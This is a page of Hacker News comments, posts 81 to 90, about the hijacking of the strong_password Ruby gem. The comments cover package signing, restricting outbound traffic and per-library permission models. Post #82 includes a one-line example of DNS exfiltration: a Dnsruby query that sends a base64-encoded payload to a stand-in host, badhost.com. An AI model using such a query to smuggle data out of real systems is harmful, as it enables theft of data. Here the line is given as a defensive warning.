Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Strong_password Rubygem hijacked

withatwist.dev

Post reply on HN
Print view View original

81–90 of 133 posts

Re: Strong_password Rubygem hijacked

#81

Post by yarg »

frizkie wrote: post #2

It seems to me like the only way to really provide any sense of security is to force gems uploaded to RubyGems to be signed. There is some discussion here ( https://github.com/rubygems/guides/pull/70 ) about why the Rubygems PGP CA isn't really worth using in its current state. As we've seen with Javascript dependencies, we can only put off dealing with this problem for so long.

Yep, we get the same shit with both NPM and Maven.

It's staggering the lack of consideration given to basic security by what should be competent software engineers.

Re: Strong_password Rubygem hijacked

#82

Post by jlmorton »

This is a great reason why you should never allow unknown outgoing connections from Production.

You can implement this however makes sense for you. For me, the easiest thing is to run a simple locked down proxy server, and allow only specific domains there. This makes it easy to setup whatever rules you want, allowing entire domains, or only specific hosts. And it gives you a convenient place to log entries before you lock them down.

This is also why you shouldn't allow external DNS resolution from every host in your network. It would be just as easy to move data in and out with Dnsruby::Resolver.query('base64-encoded-payload.badhost.com', 'TXT'), 255 bytes at a time.

Once everything is moving through your proxy, there's no need to allow external DNS resolution from other hosts.

Re: Strong_password Rubygem hijacked

#83

Post by zelon88 »

jlmorton wrote: post #82

This is a great reason why you should never allow unknown outgoing connections from Production. You can implement this however makes sense for you. For me, the easiest thing is to run a simple locked down proxy server, and allow only specific domains there. This makes it easy to setup whatever rules you want, allowing entire domains, or only specific hosts. And it gives you a convenient place to log entries before yo…

If an attacker has the ability to send dig queries to a remote host, he can over-ride anything you put in place on the host to prevent external DNS queries.

Also, most of this traffic is still unencrypted and dig'ging strange severs is noisy as hell. I'm pretty sure (famous last words) that most entry-level firewalls would flag this out of the box. If they don't, they should.

Still upvoted you though. This is an exfiltration technique that is really easy to spot and not widely known about.

Re: Strong_password Rubygem hijacked

#84

Post by jlmorton »

zelon88 wrote: post #83
jlmorton wrote: post #82

This is a great reason why you should never allow unknown outgoing connections from Production. You can implement this however makes sense for you. For me, the easiest thing is to run a simple locked down proxy server, and allow only specific domains there. This makes it easy to setup whatever rules you want, allowing entire domains, or only specific hosts. And it gives you a convenient place to log entries before yo…

If an attacker has the ability to send dig queries to a remote host, he can over-ride anything you put in place on the host to prevent external DNS queries. Also, most of this traffic is still unencrypted and dig'ging strange severs is noisy as hell. I'm pretty sure (famous last words) that most entry-level firewalls would flag this out of the box. If they don't, they should. Still upvoted you though. This is an exfi…

Right, worry about outgoing traffic first, and DNS resolution second. And this goes for all traffic. Even ICMP can used to tunnel data.

Re: Strong_password Rubygem hijacked

#85

Post by rdhatt »

fasterdom wrote: post #9

We need a sort of capability and permission method for libraries. For example a "strong_password" library should only by given "CPU compute" permissions, no I/O. But even with this, the problem will be like we see on phone, popular libraries will require all the permissions. You'll want to install React, and React + it's 100 dependencies will request everything.

The .NET Framework 1.0 included "Code Access Security" which included mechanisms to authenticate code with "evidence" (as opposed to traditional 'roles') and the apply permissions similar to your example: DnsPermission, FileIOPermission, RegistryPermission, UIPermission, and so on.

Unfortunately, the architecture was too complex for most developers and fell to the wayside. It was finally removed from the 4.0 Framework after being deprecated for some time.

Sources:

https://www.itwriting.com/blog/2156-the-end-of-code-access-s...

https://www.codemag.com/Article/0405031/Managing-.NET-Code-A...

https://blog.codinghorror.com/code-access-security-and-bitfr...

Re: Strong_password Rubygem hijacked

#86

Post by sudhirj »

The way I see it, the root of the problem is that there isn't an independently verifiable association between a package and code commit hash that it's been generated from. My GitHub page can have good code, but no one has any idea what's in the corresponding package.

Does the upcoming builtin package manager on GitHub solve this problem? Does it guarantee that packages are only built from code pushed to GitHub and that associate the commit hash in the metadata in some way?

Re: Strong_password Rubygem hijacked

#87

Post by ryanlol »

danShumway wrote: post #42
frizkie wrote: post #2

It seems to me like the only way to really provide any sense of security is to force gems uploaded to RubyGems to be signed. There is some discussion here ( https://github.com/rubygems/guides/pull/70 ) about why the Rubygems PGP CA isn't really worth using in its current state. As we've seen with Javascript dependencies, we can only put off dealing with this problem for so long.

Just as an experiment, I want everyone on this thread to think back to the last time you connected over SSH to a new computer on a company network. Did you check to make sure that the key that popped up was correct, or did you just hit accept? This is why signing packages will not be a silver bullet that significantly reduces these kinds of attacks. Devs will still have their keys compromised, users will still ignore…

>Did you check to make sure that the key that popped up was correct, or did you just hit accept?

But if you had the key cached, and it changed, you’d probably freak out.

>This is why signing packages will not be a silver bullet that significantly reduces these kinds of attacks.

You’ve just isolated the impact of these attacks to new installs, how is that not significant?

Re: Strong_password Rubygem hijacked

#88

Post by tfha »

fasterdom wrote: post #9

We need a sort of capability and permission method for libraries. For example a "strong_password" library should only by given "CPU compute" permissions, no I/O. But even with this, the problem will be like we see on phone, popular libraries will require all the permissions. You'll want to install React, and React + it's 100 dependencies will request everything.

For some languages it might possible to enforce this with just a simple linter

Re: Strong_password Rubygem hijacked

#90

Post by riffraff »

oomkiller wrote: post #51
fasterdom wrote: post #9

We need a sort of capability and permission method for libraries. For example a "strong_password" library should only by given "CPU compute" permissions, no I/O. But even with this, the problem will be like we see on phone, popular libraries will require all the permissions. You'll want to install React, and React + it's 100 dependencies will request everything.

Ruby itself did have something akin to this known as SAFE levels, which prevented IO, exiting the program, etc: https://ruby-hacking-guide.github.io/security.html Unfortunately, it seems like it's been removed since Ruby 2.1: https://bugs.ruby-lang.org/issues/8468

The shame is that they would have played nicely with the upcoming "guilds" stuff, IMHO.
Post reply on HN